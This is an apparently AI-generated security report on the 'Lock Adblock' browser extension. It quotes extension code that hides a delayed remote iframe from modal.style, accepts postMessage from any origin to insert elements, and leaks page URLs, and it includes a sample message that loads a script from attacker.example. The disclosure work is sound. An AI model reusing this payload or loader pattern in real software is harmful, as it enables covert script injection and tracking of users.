Is Lock Adblock safe?
Lock is critical risk. Dynamic analysis confirmed the content script accepts postMessage to insert HTML elements. Any sender, including its modal.style iframe, sets the tag, attributes, styles, content, and parent selector. A fetch confirmed script execution.…
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Any sender can inject arbitrary HTML elements into any page via postMessage
Dynamic analysis confirmed the content script accepts postMessage to insert HTML elements.
Any sender, including its modal.style iframe, sets the tag, attributes, styles, content, and parent selector.
A fetch confirmed script execution.
- Severity
- Critical unwanted
- Type
- Unexpected
- CWE
- CWE-829
- Source
- Dynamic sandbox
A sender posts {_m:'element', item:{tagName:'script', attributes:{src:'https://attacker.example/payload.js'}}} to the page window.
No origin check is performed before the command is processed.
The extension creates and inserts a script element whose src points to the attacker-supplied URL, causing the browser to fetch and execute that script on the current page.
The parent element and all attributes are fully controlled by the sender.
handleElement and createHtmlElement, no input validation
function createHtmlElement({ tagName, attributes = {}, styles = {}, content = "", parent = document.body }) { const element = document.createElement(tagName); Object.entries(attributes).forEach(([key, value]) => element.setAttribute(key, value) ); if ("textContent" in element && !attributes.src && !attributes.href) { element.textContent = content; // safe path } else if (content && !(attributes.src || attributes.href)) { element.innerHTML = content; // unsafe — innerHTML with attacker content } Object.entries(styles).forEach(([key, value]) => (element.style[key] = value)); parent.appendChild(element); return element;}function handleElement(data) { const { tagName, attributes, styles, content, parentSelector } = data; createHtmlElement({ tagName, // attacker-controlled attributes: attributes || {}, // attacker-controlled styles: styles || {}, content: content || "", // attacker-controlled parent: document.querySelector(parentSelector) || document.body, // attacker-controlled });}A script element with an external src was inserted and the browser issued a GET request to fetch that script.
- Target
- document.body on any visited page (DA: google.com)
<body> <!-- page content --></body><body> <!-- page content --> <script id="injected-script-element" src="https://example.com/injected-test.js"></script></body>Ad blocker injects off-screen iframe from modal.style after 8-hour delay
Dynamic analysis confirmed the extension injects a hidden iframe at modal.style/load into every page, but only after 8+ hours since install, hiding the behavior from initial testing.
The iframe then sends commands to the content script.
- Severity
- Critical unwanted
- Type
- Unexpected
- CWE
- CWE-506
- Source
- Dynamic sandbox
You navigate to any website 8 or more hours after installing the extension.
The 8-hour gate runs on every page load after the threshold is crossed.
The extension appends a non-visible iframe loading modal.style/load to the page's DOM.
The iframe uses sandbox='allow-top-navigation allow-same-origin allow-scripts' and style='display:none', making it invisible to the user.
Iframe construction in spin.js
function createLoaderModal() { let loaderFile = "/modal.html"; let htmlFile = loaderFile.replace(/^/, '/'); htmlFile = htmlFile.replace('html', 'style/load'); // produces "//modal.style/load" const loaderAlert = createHtmlElement({ tagName: "iframe", attributes: { sandbox: "allow-top-navigation allow-same-origin allow-scripts", style: "display: none;", src: htmlFile } }); return loaderAlert;}A div.modal-ct containing a non-visible iframe loading modal.style/load is appended to every page body.
- Target
- document.body on any visited page
<body> <!-- page content --></body><body> <!-- page content --> <div class="modal-ct"> <iframe sandbox="allow-top-navigation allow-same-origin allow-scripts" style="display: none;" src="//modal.style/load"></iframe> </div></body>- modal.style
Receives a browser request on every page load once the 8-hour gate has passed. The iframe's sandbox allows scripts and top-level navigation.
Content script returns current page URL to any postMessage sender
Dynamic analysis confirmed the content script listens for postMessage on every page.
Any sender, including its own modal.style iframe, sending {_m:'url'} gets an immediate reply with the page's base64 URL, returned to the sender's origin.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-359
- Source
- Dynamic sandbox
A sender posts the message {_m:'url'} to the page window.
The sender can be the injected modal.style iframe or any other window/frame with access to the page.
The extension replies with the base64-encoded full URL of the current page.
No origin check is performed before the URL is sent back to the sender.
The URL is base64-encoded before it is returned to the sender.
https://www.google.com/postMessage handler, URL reply branch
window.addEventListener( "message", (e) => { try { const key = e.message ? "message" : "data"; const data = parseJSON(e[key]); const base = window.location; // No e.origin check here if (data._m == 'catch') removeLoader(); else if (data._m == 'url') e.source.postMessage( JSON.stringify({ 'r': btoa(base.href) }), e.origin); // reply goes to whatever origin asked else if (data._m == 'element') handleElement(data.item); } catch (err) {} }, false);What it can do
Permissions this extension asks for, as declared in version 3.6.0. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Read and change your data on every site you visit
<all_urls>
See the address and title of every tab you have open
tabs
Act on the current tab, but only after you click the extension
activeTab
Schedule its own background tasks
alarms
Block and redirect the requests your browser makes
declarativeNetRequest
Run its own code inside the pages you visit
scripting
Store data in your browser
storage